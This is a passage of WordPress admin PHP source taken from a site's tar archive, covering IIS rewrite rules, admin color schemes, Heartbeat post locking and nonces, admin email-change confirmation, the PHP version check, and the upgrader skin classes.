	$doc->preserveWhiteSpace = false;

	if ( $doc->load( $filename ) === false ) {
		return false;
	}

	$xpath = new DOMXPath( $doc );
	$rules = $xpath->query( '/configuration/system.webServer/rewrite/rules/rule[starts-with(@name,\'wordpress\')] | /configuration/system.webServer/rewrite/rules/rule[starts-with(@name,\'WordPress\')]' );

	if ( $rules->length > 0 ) {
		$child  = $rules->item( 0 );
		$parent = $child->parentNode;
		$parent->removeChild( $child );
		$doc->formatOutput = true;
		saveDomDocument( $doc, $filename );
	}

	return true;
}

/**
 * Adds WordPress rewrite rule to the IIS 7+ configuration file.
 *
 * @since 2.8.0
 *
 * @param string $filename     The file path to the configuration file.
 * @param string $rewrite_rule The XML fragment with URL Rewrite rule.
 * @return bool
 */
function iis7_add_rewrite_rule( $filename, $rewrite_rule ) {
	if ( ! class_exists( 'DOMDocument', false ) ) {
		return false;
	}

	// If configuration file does not exist then we create one.
	if ( ! file_exists( $filename ) ) {
		$fp = fopen( $filename, 'w' );
		fwrite( $fp, '<configuration/>' );
		fclose( $fp );
	}

	$doc                     = new DOMDocument();
	$doc->preserveWhiteSpace = false;

	if ( $doc->load( $filename ) === false ) {
		return false;
	}

	$xpath = new DOMXPath( $doc );

	// First check if the rule already exists as in that case there is no need to re-add it.
	$wordpress_rules = $xpath->query( '/configuration/system.webServer/rewrite/rules/rule[starts-with(@name,\'wordpress\')] | /configuration/system.webServer/rewrite/rules/rule[starts-with(@name,\'WordPress\')]' );

	if ( $wordpress_rules->length > 0 ) {
		return true;
	}

	// Check the XPath to the rewrite rule and create XML nodes if they do not exist.
	$xml_nodes = $xpath->query( '/configuration/system.webServer/rewrite/rules' );

	if ( $xml_nodes->length > 0 ) {
		$rules_node = $xml_nodes->item( 0 );
	} else {
		$rules_node = $doc->createElement( 'rules' );

		$xml_nodes = $xpath->query( '/configuration/system.webServer/rewrite' );

		if ( $xml_nodes->length > 0 ) {
			$rewrite_node = $xml_nodes->item( 0 );
			$rewrite_node->appendChild( $rules_node );
		} else {
			$rewrite_node = $doc->createElement( 'rewrite' );
			$rewrite_node->appendChild( $rules_node );

			$xml_nodes = $xpath->query( '/configuration/system.webServer' );

			if ( $xml_nodes->length > 0 ) {
				$system_web_server_node = $xml_nodes->item( 0 );
				$system_web_server_node->appendChild( $rewrite_node );
			} else {
				$system_web_server_node = $doc->createElement( 'system.webServer' );
				$system_web_server_node->appendChild( $rewrite_node );

				$xml_nodes = $xpath->query( '/configuration' );

				if ( $xml_nodes->length > 0 ) {
					$config_node = $xml_nodes->item( 0 );
					$config_node->appendChild( $system_web_server_node );
				} else {
					$config_node = $doc->createElement( 'configuration' );
					$doc->appendChild( $config_node );
					$config_node->appendChild( $system_web_server_node );
				}
			}
		}
	}

	$rule_fragment = $doc->createDocumentFragment();
	$rule_fragment->appendXML( $rewrite_rule );
	$rules_node->appendChild( $rule_fragment );

	$doc->encoding     = 'UTF-8';
	$doc->formatOutput = true;
	saveDomDocument( $doc, $filename );

	return true;
}

/**
 * Saves the XML document into a file.
 *
 * @since 2.8.0
 *
 * @param DOMDocument $doc
 * @param string      $filename
 */
function saveDomDocument( $doc, $filename ) { // phpcs:ignore WordPress.NamingConventions.ValidFunctionName.FunctionNameInvalid
	$config = $doc->saveXML();
	$config = preg_replace( "/([^\r])\n/", "$1\r\n", $config );

	$fp = fopen( $filename, 'w' );
	fwrite( $fp, $config );
	fclose( $fp );
}

/**
 * Displays the default admin color scheme picker (Used in user-edit.php).
 *
 * @since 3.0.0
 *
 * @global array $_wp_admin_css_colors
 *
 * @param int $user_id User ID.
 */
function admin_color_scheme_picker( $user_id ) {
	global $_wp_admin_css_colors;

	ksort( $_wp_admin_css_colors );

	if ( isset( $_wp_admin_css_colors['fresh'] ) ) {
		// Set Default ('fresh') and Light should go first.
		$_wp_admin_css_colors = array_filter(
			array_merge(
				array(
					'fresh'  => '',
					'light'  => '',
					'modern' => '',
				),
				$_wp_admin_css_colors
			)
		);
	}

	$current_color = get_user_option( 'admin_color', $user_id );

	if ( empty( $current_color ) || ! isset( $_wp_admin_css_colors[ $current_color ] ) ) {
		$current_color = 'fresh';
	}
	?>
	<fieldset id="color-picker" class="scheme-list">
		<legend class="screen-reader-text"><span>
			<?php
			/* translators: Hidden accessibility text. */
			_e( 'Admin Color Scheme' );
			?>
		</span></legend>
		<?php
		wp_nonce_field( 'save-color-scheme', 'color-nonce', false );
		foreach ( $_wp_admin_css_colors as $color => $color_info ) :

			?>
			<div class="color-option <?php echo ( $color === $current_color ) ? 'selected' : ''; ?>">
				<input name="admin_color" id="admin_color_<?php echo esc_attr( $color ); ?>" type="radio" value="<?php echo esc_attr( $color ); ?>" class="tog" <?php checked( $color, $current_color ); ?> />
				<input type="hidden" class="css_url" value="<?php echo esc_url( $color_info->url ); ?>" />
				<input type="hidden" class="icon_colors" value="<?php echo esc_attr( wp_json_encode( array( 'icons' => $color_info->icon_colors ) ) ); ?>" />
				<label for="admin_color_<?php echo esc_attr( $color ); ?>"><?php echo esc_html( $color_info->name ); ?></label>
				<table class="color-palette">
					<tr>
					<?php
					foreach ( $color_info->colors as $html_color ) {
						?>
						<td style="background-color: <?php echo esc_attr( $html_color ); ?>">&nbsp;</td>
						<?php
					}
					?>
					</tr>
				</table>
			</div>
			<?php

		endforeach;
		?>
	</fieldset>
	<?php
}

/**
 *
 * @global array $_wp_admin_css_colors
 */
function wp_color_scheme_settings() {
	global $_wp_admin_css_colors;

	$color_scheme = get_user_option( 'admin_color' );

	// It's possible to have a color scheme set that is no longer registered.
	if ( empty( $_wp_admin_css_colors[ $color_scheme ] ) ) {
		$color_scheme = 'fresh';
	}

	if ( ! empty( $_wp_admin_css_colors[ $color_scheme ]->icon_colors ) ) {
		$icon_colors = $_wp_admin_css_colors[ $color_scheme ]->icon_colors;
	} elseif ( ! empty( $_wp_admin_css_colors['fresh']->icon_colors ) ) {
		$icon_colors = $_wp_admin_css_colors['fresh']->icon_colors;
	} else {
		// Fall back to the default set of icon colors if the default scheme is missing.
		$icon_colors = array(
			'base'    => '#a7aaad',
			'focus'   => '#72aee6',
			'current' => '#fff',
		);
	}

	echo '<script type="text/javascript">var _wpColorScheme = ' . wp_json_encode( array( 'icons' => $icon_colors ) ) . ";</script>\n";
}

/**
 * Displays the viewport meta in the admin.
 *
 * @since 5.5.0
 */
function wp_admin_viewport_meta() {
	/**
	 * Filters the viewport meta in the admin.
	 *
	 * @since 5.5.0
	 *
	 * @param string $viewport_meta The viewport meta.
	 */
	$viewport_meta = apply_filters( 'admin_viewport_meta', 'width=device-width,initial-scale=1.0' );

	if ( empty( $viewport_meta ) ) {
		return;
	}

	echo '<meta name="viewport" content="' . esc_attr( $viewport_meta ) . '">';
}

/**
 * Adds viewport meta for mobile in Customizer.
 *
 * Hooked to the {@see 'admin_viewport_meta'} filter.
 *
 * @since 5.5.0
 *
 * @param string $viewport_meta The viewport meta.
 * @return string Filtered viewport meta.
 */
function _customizer_mobile_viewport_meta( $viewport_meta ) {
	return trim( $viewport_meta, ',' ) . ',minimum-scale=0.5,maximum-scale=1.2';
}

/**
 * Checks lock status for posts displayed on the Posts screen.
 *
 * @since 3.6.0
 *
 * @param array  $response  The Heartbeat response.
 * @param array  $data      The $_POST data sent.
 * @param string $screen_id The screen ID.
 * @return array The Heartbeat response.
 */
function wp_check_locked_posts( $response, $data, $screen_id ) {
	$checked = array();

	if ( array_key_exists( 'wp-check-locked-posts', $data ) && is_array( $data['wp-check-locked-posts'] ) ) {
		foreach ( $data['wp-check-locked-posts'] as $key ) {
			$post_id = absint( substr( $key, 5 ) );

			if ( ! $post_id ) {
				continue;
			}

			$user_id = wp_check_post_lock( $post_id );

			if ( $user_id ) {
				$user = get_userdata( $user_id );

				if ( $user && current_user_can( 'edit_post', $post_id ) ) {
					$send = array(
						'name' => $user->display_name,
						/* translators: %s: User's display name. */
						'text' => sprintf( __( '%s is currently editing' ), $user->display_name ),
					);

					if ( get_option( 'show_avatars' ) ) {
						$send['avatar_src']    = get_avatar_url( $user->ID, array( 'size' => 18 ) );
						$send['avatar_src_2x'] = get_avatar_url( $user->ID, array( 'size' => 36 ) );
					}

					$checked[ $key ] = $send;
				}
			}
		}
	}

	if ( ! empty( $checked ) ) {
		$response['wp-check-locked-posts'] = $checked;
	}

	return $response;
}

/**
 * Checks lock status on the New/Edit Post screen and refresh the lock.
 *
 * @since 3.6.0
 *
 * @param array  $response  The Heartbeat response.
 * @param array  $data      The $_POST data sent.
 * @param string $screen_id The screen ID.
 * @return array The Heartbeat response.
 */
function wp_refresh_post_lock( $response, $data, $screen_id ) {
	if ( array_key_exists( 'wp-refresh-post-lock', $data ) ) {
		$received = $data['wp-refresh-post-lock'];
		$send     = array();

		$post_id = absint( $received['post_id'] );

		if ( ! $post_id ) {
			return $response;
		}

		if ( ! current_user_can( 'edit_post', $post_id ) ) {
			return $response;
		}

		$user_id = wp_check_post_lock( $post_id );
		$user    = get_userdata( $user_id );

		if ( $user ) {
			$error = array(
				'name' => $user->display_name,
				/* translators: %s: User's display name. */
				'text' => sprintf( __( '%s has taken over and is currently editing.' ), $user->display_name ),
			);

			if ( get_option( 'show_avatars' ) ) {
				$error['avatar_src']    = get_avatar_url( $user->ID, array( 'size' => 64 ) );
				$error['avatar_src_2x'] = get_avatar_url( $user->ID, array( 'size' => 128 ) );
			}

			$send['lock_error'] = $error;
		} else {
			$new_lock = wp_set_post_lock( $post_id );

			if ( $new_lock ) {
				$send['new_lock'] = implode( ':', $new_lock );
			}
		}

		$response['wp-refresh-post-lock'] = $send;
	}

	return $response;
}

/**
 * Checks nonce expiration on the New/Edit Post screen and refresh if needed.
 *
 * @since 3.6.0
 *
 * @param array  $response  The Heartbeat response.
 * @param array  $data      The $_POST data sent.
 * @param string $screen_id The screen ID.
 * @return array The Heartbeat response.
 */
function wp_refresh_post_nonces( $response, $data, $screen_id ) {
	if ( array_key_exists( 'wp-refresh-post-nonces', $data ) ) {
		$received = $data['wp-refresh-post-nonces'];

		$response['wp-refresh-post-nonces'] = array( 'check' => 1 );

		$post_id = absint( $received['post_id'] );

		if ( ! $post_id ) {
			return $response;
		}

		if ( ! current_user_can( 'edit_post', $post_id ) ) {
			return $response;
		}

		$response['wp-refresh-post-nonces'] = array(
			'replace' => array(
				'getpermalinknonce'    => wp_create_nonce( 'getpermalink' ),
				'samplepermalinknonce' => wp_create_nonce( 'samplepermalink' ),
				'closedpostboxesnonce' => wp_create_nonce( 'closedpostboxes' ),
				'_ajax_linking_nonce'  => wp_create_nonce( 'internal-linking' ),
				'_wpnonce'             => wp_create_nonce( 'update-post_' . $post_id ),
			),
		);
	}

	return $response;
}

/**
 * Refresh nonces used with meta boxes in the block editor.
 *
 * @since 6.1.0
 *
 * @param array  $response  The Heartbeat response.
 * @param array  $data      The $_POST data sent.
 * @return array The Heartbeat response.
 */
function wp_refresh_metabox_loader_nonces( $response, $data ) {
	if ( empty( $data['wp-refresh-metabox-loader-nonces'] ) ) {
		return $response;
	}

	$received = $data['wp-refresh-metabox-loader-nonces'];
	$post_id  = (int) $received['post_id'];

	if ( ! $post_id ) {
		return $response;
	}

	if ( ! current_user_can( 'edit_post', $post_id ) ) {
		return $response;
	}

	$response['wp-refresh-metabox-loader-nonces'] = array(
		'replace' => array(
			'metabox_loader_nonce' => wp_create_nonce( 'meta-box-loader' ),
			'_wpnonce'             => wp_create_nonce( 'update-post_' . $post_id ),
		),
	);

	return $response;
}

/**
 * Adds the latest Heartbeat and REST-API nonce to the Heartbeat response.
 *
 * @since 5.0.0
 *
 * @param array $response The Heartbeat response.
 * @return array The Heartbeat response.
 */
function wp_refresh_heartbeat_nonces( $response ) {
	// Refresh the Rest API nonce.
	$response['rest_nonce'] = wp_create_nonce( 'wp_rest' );

	// Refresh the Heartbeat nonce.
	$response['heartbeat_nonce'] = wp_create_nonce( 'heartbeat-nonce' );

	return $response;
}

/**
 * Disables suspension of Heartbeat on the Add/Edit Post screens.
 *
 * @since 3.8.0
 *
 * @global string $pagenow The filename of the current screen.
 *
 * @param array $settings An array of Heartbeat settings.
 * @return array Filtered Heartbeat settings.
 */
function wp_heartbeat_set_suspension( $settings ) {
	global $pagenow;

	if ( 'post.php' === $pagenow || 'post-new.php' === $pagenow ) {
		$settings['suspension'] = 'disable';
	}

	return $settings;
}

/**
 * Performs autosave with heartbeat.
 *
 * @since 3.9.0
 *
 * @param array $response The Heartbeat response.
 * @param array $data     The $_POST data sent.
 * @return array The Heartbeat response.
 */
function heartbeat_autosave( $response, $data ) {
	if ( ! empty( $data['wp_autosave'] ) ) {
		$saved = wp_autosave( $data['wp_autosave'] );

		if ( is_wp_error( $saved ) ) {
			$response['wp_autosave'] = array(
				'success' => false,
				'message' => $saved->get_error_message(),
			);
		} elseif ( empty( $saved ) ) {
			$response['wp_autosave'] = array(
				'success' => false,
				'message' => __( 'Error while saving.' ),
			);
		} else {
			/* translators: Draft saved date format, see https://www.php.net/manual/datetime.format.php */
			$draft_saved_date_format = __( 'g:i:s a' );
			$response['wp_autosave'] = array(
				'success' => true,
				/* translators: %s: Date and time. */
				'message' => sprintf( __( 'Draft saved at %s.' ), date_i18n( $draft_saved_date_format ) ),
			);
		}
	}

	return $response;
}

/**
 * Removes single-use URL parameters and create canonical link based on new URL.
 *
 * Removes specific query string parameters from a URL, create the canonical link,
 * put it in the admin header, and change the current URL to match.
 *
 * @since 4.2.0
 */
function wp_admin_canonical_url() {
	$removable_query_args = wp_removable_query_args();

	if ( empty( $removable_query_args ) ) {
		return;
	}

	// Ensure we're using an absolute URL.
	$current_url  = set_url_scheme( 'http://' . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'] );
	$filtered_url = remove_query_arg( $removable_query_args, $current_url );
	?>
	<link id="wp-admin-canonical" rel="canonical" href="<?php echo esc_url( $filtered_url ); ?>" />
	<script>
		if ( window.history.replaceState ) {
			window.history.replaceState( null, null, document.getElementById( 'wp-admin-canonical' ).href + window.location.hash );
		}
	</script>
	<?php
}

/**
 * Sends a referrer policy header so referrers are not sent externally from administration screens.
 *
 * @since 4.9.0
 */
function wp_admin_headers() {
	$policy = 'strict-origin-when-cross-origin';

	/**
	 * Filters the admin referrer policy header value.
	 *
	 * @since 4.9.0
	 * @since 4.9.5 The default value was changed to 'strict-origin-when-cross-origin'.
	 *
	 * @link https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Referrer-Policy
	 *
	 * @param string $policy The admin referrer policy header value. Default 'strict-origin-when-cross-origin'.
	 */
	$policy = apply_filters( 'admin_referrer_policy', $policy );

	header( sprintf( 'Referrer-Policy: %s', $policy ) );
}

/**
 * Outputs JS that reloads the page if the user navigated to it with the Back or Forward button.
 *
 * Used on the Edit Post and Add New Post screens. Needed to ensure the page is not loaded from browser cache,
 * so the post title and editor content are the last saved versions. Ideally this script should run first in the head.
 *
 * @since 4.6.0
 */
function wp_page_reload_on_back_button_js() {
	?>
	<script>
		if ( typeof performance !== 'undefined' && performance.navigation && performance.navigation.type === 2 ) {
			document.location.reload( true );
		}
	</script>
	<?php
}

/**
 * Sends a confirmation request email when a change of site admin email address is attempted.
 *
 * The new site admin address will not become active until confirmed.
 *
 * @since 3.0.0
 * @since 4.9.0 This function was moved from wp-admin/includes/ms.php so it's no longer Multisite specific.
 *
 * @param string $old_value The old site admin email address.
 * @param string $value     The proposed new site admin email address.
 */
function update_option_new_admin_email( $old_value, $value ) {
	if ( get_option( 'admin_email' ) === $value || ! is_email( $value ) ) {
		return;
	}

	$hash            = md5( $value . time() . wp_rand() );
	$new_admin_email = array(
		'hash'     => $hash,
		'newemail' => $value,
	);
	update_option( 'adminhash', $new_admin_email );

	$switched_locale = switch_to_user_locale( get_current_user_id() );

	/* translators: Do not translate USERNAME, ADMIN_URL, EMAIL, SITENAME, SITEURL: those are placeholders. */
	$email_text = __(
		'Howdy ###USERNAME###,

Someone with administrator capabilities recently requested to have the
administration email address changed on this site:
###SITEURL###

To confirm this change, please click on the following link:
###ADMIN_URL###

You can safely ignore and delete this email if you do not want to
take this action.

This email has been sent to ###EMAIL###

Regards,
All at ###SITENAME###
###SITEURL###'
	);

	/**
	 * Filters the text of the email sent when a change of site admin email address is attempted.
	 *
	 * The following strings have a special meaning and will get replaced dynamically:
	 * ###USERNAME###  The current user's username.
	 * ###ADMIN_URL### The link to click on to confirm the email change.
	 * ###EMAIL###     The proposed new site admin email address.
	 * ###SITENAME###  The name of the site.
	 * ###SITEURL###   The URL to the site.
	 *
	 * @since MU (3.0.0)
	 * @since 4.9.0 This filter is no longer Multisite specific.
	 *
	 * @param string $email_text      Text in the email.
	 * @param array  $new_admin_email {
	 *     Data relating to the new site admin email address.
	 *
	 *     @type string $hash     The secure hash used in the confirmation link URL.
	 *     @type string $newemail The proposed new site admin email address.
	 * }
	 */
	$content = apply_filters( 'new_admin_email_content', $email_text, $new_admin_email );

	$current_user = wp_get_current_user();
	$content      = str_replace( '###USERNAME###', $current_user->user_login, $content );
	$content      = str_replace( '###ADMIN_URL###', esc_url( self_admin_url( 'options.php?adminhash=' . $hash ) ), $content );
	$content      = str_replace( '###EMAIL###', $value, $content );
	$content      = str_replace( '###SITENAME###', wp_specialchars_decode( get_option( 'blogname' ), ENT_QUOTES ), $content );
	$content      = str_replace( '###SITEURL###', home_url(), $content );

	if ( '' !== get_option( 'blogname' ) ) {
		$site_title = wp_specialchars_decode( get_option( 'blogname' ), ENT_QUOTES );
	} else {
		$site_title = parse_url( home_url(), PHP_URL_HOST );
	}

	wp_mail(
		$value,
		sprintf(
			/* translators: New admin email address notification email subject. %s: Site title. */
			__( '[%s] New Admin Email Address' ),
			$site_title
		),
		$content
	);

	if ( $switched_locale ) {
		restore_previous_locale();
	}
}

/**
 * Appends '(Draft)' to draft page titles in the privacy page dropdown
 * so that unpublished content is obvious.
 *
 * @since 4.9.8
 * @access private
 *
 * @param string  $title Page title.
 * @param WP_Post $page  Page data object.
 * @return string Page title.
 */
function _wp_privacy_settings_filter_draft_page_titles( $title, $page ) {
	if ( 'draft' === $page->post_status && 'privacy' === get_current_screen()->id ) {
		/* translators: %s: Page title. */
		$title = sprintf( __( '%s (Draft)' ), $title );
	}

	return $title;
}

/**
 * Checks if the user needs to update PHP.
 *
 * @since 5.1.0
 * @since 5.1.1 Added the {@see 'wp_is_php_version_acceptable'} filter.
 *
 * @return array|false {
 *     Array of PHP version data. False on failure.
 *
 *     @type string $recommended_version The PHP version recommended by WordPress.
 *     @type string $minimum_version     The minimum required PHP version.
 *     @type bool   $is_supported        Whether the PHP version is actively supported.
 *     @type bool   $is_secure           Whether the PHP version receives security updates.
 *     @type bool   $is_acceptable       Whether the PHP version is still acceptable or warnings
 *                                       should be shown and an update recommended.
 * }
 */
function wp_check_php_version() {
	$version = PHP_VERSION;
	$key     = md5( $version );

	$response = get_site_transient( 'php_check_' . $key );

	if ( false === $response ) {
		$url = 'http://api.wordpress.org/core/serve-happy/1.0/';

		if ( wp_http_supports( array( 'ssl' ) ) ) {
			$url = set_url_scheme( $url, 'https' );
		}

		$url = add_query_arg( 'php_version', $version, $url );

		$response = wp_remote_get( $url );

		if ( is_wp_error( $response ) || 200 !== wp_remote_retrieve_response_code( $response ) ) {
			return false;
		}

		$response = json_decode( wp_remote_retrieve_body( $response ), true );

		if ( ! is_array( $response ) ) {
			return false;
		}

		set_site_transient( 'php_check_' . $key, $response, WEEK_IN_SECONDS );
	}

	if ( isset( $response['is_acceptable'] ) && $response['is_acceptable'] ) {
		/**
		 * Filters whether the active PHP version is considered acceptable by WordPress.
		 *
		 * Returning false will trigger a PHP version warning to show up in the admin dashboard to administrators.
		 *
		 * This filter is only run if the wordpress.org Serve Happy API considers the PHP version acceptable, ensuring
		 * that this filter can only make this check stricter, but not loosen it.
		 *
		 * @since 5.1.1
		 *
		 * @param bool   $is_acceptable Whether the PHP version is considered acceptable. Default true.
		 * @param string $version       PHP version checked.
		 */
		$response['is_acceptable'] = (bool) apply_filters( 'wp_is_php_version_acceptable', true, $version );
	}

	$response['is_lower_than_future_minimum'] = false;

	// The minimum supported PHP version will be updated to 7.2. Check if the current version is lower.
	if ( version_compare( $version, '7.2', '<' ) ) {
		$response['is_lower_than_future_minimum'] = true;

		// Force showing of warnings.
		$response['is_acceptable'] = false;
	}

	return $response;
}
class-wp-upgrader-skin.php.tar000064400000020000150275632050012341 0ustar00home/natitnen/crestassured.com/wp-admin/includes/class-wp-upgrader-skin.php000064400000014623150274744340023155 0ustar00<?php
/**
 * Upgrader API: WP_Upgrader_Skin class
 *
 * @package WordPress
 * @subpackage Upgrader
 * @since 4.6.0
 */

/**
 * Generic Skin for the WordPress Upgrader classes. This skin is designed to be extended for specific purposes.
 *
 * @since 2.8.0
 * @since 4.6.0 Moved to its own file from wp-admin/includes/class-wp-upgrader-skins.php.
 */
#[AllowDynamicProperties]
class WP_Upgrader_Skin {

	/**
	 * Holds the upgrader data.
	 *
	 * @since 2.8.0
	 *
	 * @var WP_Upgrader
	 */
	public $upgrader;

	/**
	 * Whether header is done.
	 *
	 * @since 2.8.0
	 *
	 * @var bool
	 */
	public $done_header = false;

	/**
	 * Whether footer is done.
	 *
	 * @since 2.8.0
	 *
	 * @var bool
	 */
	public $done_footer = false;

	/**
	 * Holds the result of an upgrade.
	 *
	 * @since 2.8.0
	 *
	 * @var string|bool|WP_Error
	 */
	public $result = false;

	/**
	 * Holds the options of an upgrade.
	 *
	 * @since 2.8.0
	 *
	 * @var array
	 */
	public $options = array();

	/**
	 * Constructor.
	 *
	 * Sets up the generic skin for the WordPress Upgrader classes.
	 *
	 * @since 2.8.0
	 *
	 * @param array $args Optional. The WordPress upgrader skin arguments to
	 *                    override default options. Default empty array.
	 */
	public function __construct( $args = array() ) {
		$defaults      = array(
			'url'     => '',
			'nonce'   => '',
			'title'   => '',
			'context' => false,
		);
		$this->options = wp_parse_args( $args, $defaults );
	}

	/**
	 * @since 2.8.0
	 *
	 * @param WP_Upgrader $upgrader
	 */
	public function set_upgrader( &$upgrader ) {
		if ( is_object( $upgrader ) ) {
			$this->upgrader =& $upgrader;
		}
		$this->add_strings();
	}

	/**
	 * @since 3.0.0
	 */
	public function add_strings() {
	}

	/**
	 * Sets the result of an upgrade.
	 *
	 * @since 2.8.0
	 *
	 * @param string|bool|WP_Error $result The result of an upgrade.
	 */
	public function set_result( $result ) {
		$this->result = $result;
	}

	/**
	 * Displays a form to the user to request for their FTP/SSH details in order
	 * to connect to the filesystem.
	 *
	 * @since 2.8.0
	 * @since 4.6.0 The `$context` parameter default changed from `false` to an empty string.
	 *
	 * @see request_filesystem_credentials()
	 *
	 * @param bool|WP_Error $error                        Optional. Whether the current request has failed to connect,
	 *                                                    or an error object. Default false.
	 * @param string        $context                      Optional. Full path to the directory that is tested
	 *                                                    for being writable. Default empty.
	 * @param bool          $allow_relaxed_file_ownership Optional. Whether to allow Group/World writable. Default false.
	 * @return bool True on success, false on failure.
	 */
	public function request_filesystem_credentials( $error = false, $context = '', $allow_relaxed_file_ownership = false ) {
		$url = $this->options['url'];
		if ( ! $context ) {
			$context = $this->options['context'];
		}
		if ( ! empty( $this->options['nonce'] ) ) {
			$url = wp_nonce_url( $url, $this->options['nonce'] );
		}

		$extra_fields = array();

		return request_filesystem_credentials( $url, '', $error, $context, $extra_fields, $allow_relaxed_file_ownership );
	}

	/**
	 * @since 2.8.0
	 */
	public function header() {
		if ( $this->done_header ) {
			return;
		}
		$this->done_header = true;
		echo '<div class="wrap">';
		echo '<h1>' . $this->options['title'] . '</h1>';
	}

	/**
	 * @since 2.8.0
	 */
	public function footer() {
		if ( $this->done_footer ) {
			return;
		}
		$this->done_footer = true;
		echo '</div>';
	}

	/**
	 * @since 2.8.0
	 *
	 * @param string|WP_Error $errors Errors.
	 */
	public function error( $errors ) {
		if ( ! $this->done_header ) {
			$this->header();
		}
		if ( is_string( $errors ) ) {
			$this->feedback( $errors );
		} elseif ( is_wp_error( $errors ) && $errors->has_errors() ) {
			foreach ( $errors->get_error_messages() as $message ) {
				if ( $errors->get_error_data() && is_string( $errors->get_error_data() ) ) {
					$this->feedback( $message . ' ' . esc_html( strip_tags( $errors->get_error_data() ) ) );
				} else {
					$this->feedback( $message );
				}
			}
		}
	}

	/**
	 * @since 2.8.0
	 * @since 5.9.0 Renamed `$string` (a PHP reserved keyword) to `$feedback` for PHP 8 named parameter support.
	 *
	 * @param string $feedback Message data.
	 * @param mixed  ...$args  Optional text replacements.
	 */
	public function feedback( $feedback, ...$args ) {
		if ( isset( $this->upgrader->strings[ $feedback ] ) ) {
			$feedback = $this->upgrader->strings[ $feedback ];
		}

		if ( str_contains( $feedback, '%' ) ) {
			if ( $args ) {
				$args     = array_map( 'strip_tags', $args );
				$args     = array_map( 'esc_html', $args );
				$feedback = vsprintf( $feedback, $args );
			}
		}
		if ( empty( $feedback ) ) {
			return;
		}
		show_message( $feedback );
	}

	/**
	 * Performs an action before an update.
	 *
	 * @since 2.8.0
	 */
	public function before() {}

	/**
	 * Performs and action following an update.
	 *
	 * @since 2.8.0
	 */
	public function after() {}

	/**
	 * Outputs JavaScript that calls function to decrement the update counts.
	 *
	 * @since 3.9.0
	 *
	 * @param string $type Type of update count to decrement. Likely values include 'plugin',
	 *                     'theme', 'translation', etc.
	 */
	protected function decrement_update_count( $type ) {
		if ( ! $this->result || is_wp_error( $this->result ) || 'up_to_date' === $this->result ) {
			return;
		}

		if ( defined( 'IFRAME_REQUEST' ) ) {
			echo '<script type="text/javascript">
					if ( window.postMessage && JSON ) {
						window.parent.postMessage( JSON.stringify( { action: "decrementUpdateCount", upgradeType: "' . $type . '" } ), window.location.protocol + "//" + window.location.hostname );
					}
				</script>';
		} else {
			echo '<script type="text/javascript">
					(function( wp ) {
						if ( wp && wp.updates && wp.updates.decrementCount ) {
							wp.updates.decrementCount( "' . $type . '" );
						}
					})( window.wp );
				</script>';
		}
	}

	/**
	 * @since 3.0.0
	 */
	public function bulk_header() {}

	/**
	 * @since 3.0.0
	 */
	public function bulk_footer() {}

	/**
	 * Hides the `process_failed` error message when updating by uploading a zip file.
	 *
	 * @since 5.5.0
	 *
	 * @param WP_Error $wp_error WP_Error object.
	 * @return bool True if the error should be hidden, false otherwise.
	 */
	public function hide_process_failed( $wp_error ) {
		return false;
	}
}
class-wp-ajax-upgrader-skin.php000064400000010141150275632050012502 0ustar00<?php
/**
 * Upgrader API: WP_Ajax_Upgrader_Skin class
 *
 * @package WordPress
 * @subpackage Upgrader
 * @since 4.6.0
 */

/**
 * Upgrader Skin for Ajax WordPress upgrades.
 *
 * This skin is designed to be used for Ajax updates.
 *
 * @since 4.6.0
 *
 * @see Automatic_Upgrader_Skin
 */
class WP_Ajax_Upgrader_Skin extends Automatic_Upgrader_Skin {

	/**
	 * Plugin info.
	 *
	 * The Plugin_Upgrader::bulk_upgrade() method will fill this in
	 * with info retrieved from the get_plugin_data() function.
	 *
	 * @var array Plugin data. Values will be empty if not supplied by the plugin.
	 */
	public $plugin_info = array();

	/**
	 * Theme info.
	 *
	 * The Theme_Upgrader::bulk_upgrade() method will fill this in
	 * with info retrieved from the Theme_Upgrader::theme_info() method,
	 * which in turn calls the wp_get_theme() function.
	 *
	 * @var WP_Theme|false The theme's info object, or false.
	 */
	public $theme_info = false;

	/**
	 * Holds the WP_Error object.
	 *
	 * @since 4.6.0
	 *
	 * @var null|WP_Error
	 */
	protected $errors = null;

	/**
	 * Constructor.
	 *
	 * Sets up the WordPress Ajax upgrader skin.
	 *
	 * @since 4.6.0
	 *
	 * @see WP_Upgrader_Skin::__construct()
	 *
	 * @param array $args Optional. The WordPress Ajax upgrader skin arguments to
	 *                    override default options. See WP_Upgrader_Skin::__construct().
	 *                    Default empty array.
	 */
	public function __construct( $args = array() ) {
		parent::__construct( $args );

		$this->errors = new WP_Error();
	}

	/**
	 * Retrieves the list of errors.
	 *
	 * @since 4.6.0
	 *
	 * @return WP_Error Errors during an upgrade.
	 */
	public function get_errors() {
		return $this->errors;
	}

	/**
	 * Retrieves a string for error messages.
	 *
	 * @since 4.6.0
	 *
	 * @return string Error messages during an upgrade.
	 */
	public function get_error_messages() {
		$messages = array();

		foreach ( $this->errors->get_error_codes() as $error_code ) {
			$error_data = $this->errors->get_error_data( $error_code );

			if ( $error_data && is_string( $error_data ) ) {
				$messages[] = $this->errors->get_error_message( $error_code ) . ' ' . esc_html( strip_tags( $error_data ) );
			} else {
				$messages[] = $this->errors->get_error_message( $error_code );
			}
		}

		return implode( ', ', $messages );
	}

	/**
	 * Stores an error message about the upgrade.
	 *
	 * @since 4.6.0
	 * @since 5.3.0 Formalized the existing `...$args` parameter by adding it
	 *              to the function signature.
	 *
	 * @param string|WP_Error $errors  Errors.
	 * @param mixed           ...$args Optional text replacements.
	 */
	public function error( $errors, ...$args ) {
		if ( is_string( $errors ) ) {
			$string = $errors;
			if ( ! empty( $this->upgrader->strings[ $string ] ) ) {
				$string = $this->upgrader->strings[ $string ];
			}

			if ( str_contains( $string, '%' ) ) {
				if ( ! empty( $args ) ) {
					$string = vsprintf( $string, $args );
				}
			}

			// Count existing errors to generate a unique error code.
			$errors_count = count( $this->errors->get_error_codes() );
			$this->errors->add( 'unknown_upgrade_error_' . ( $errors_count + 1 ), $string );
		} elseif ( is_wp_error( $errors ) ) {
			foreach ( $errors->get_error_codes() as $error_code ) {
				$this->errors->add( $error_code, $errors->get_error_message( $error_code ), $errors->get_error_data( $error_code ) );
			}
		}

		parent::error( $errors, ...$args );
	}

	/**
	 * Stores a message about the upgrade.
	 *
	 * @since 4.6.0
	 * @since 5.3.0 Formalized the existing `...$args` parameter by adding it
	 *              to the function signature.
	 * @since 5.9.0 Renamed `$data` to `$feedback` for PHP 8 named parameter support.
	 *
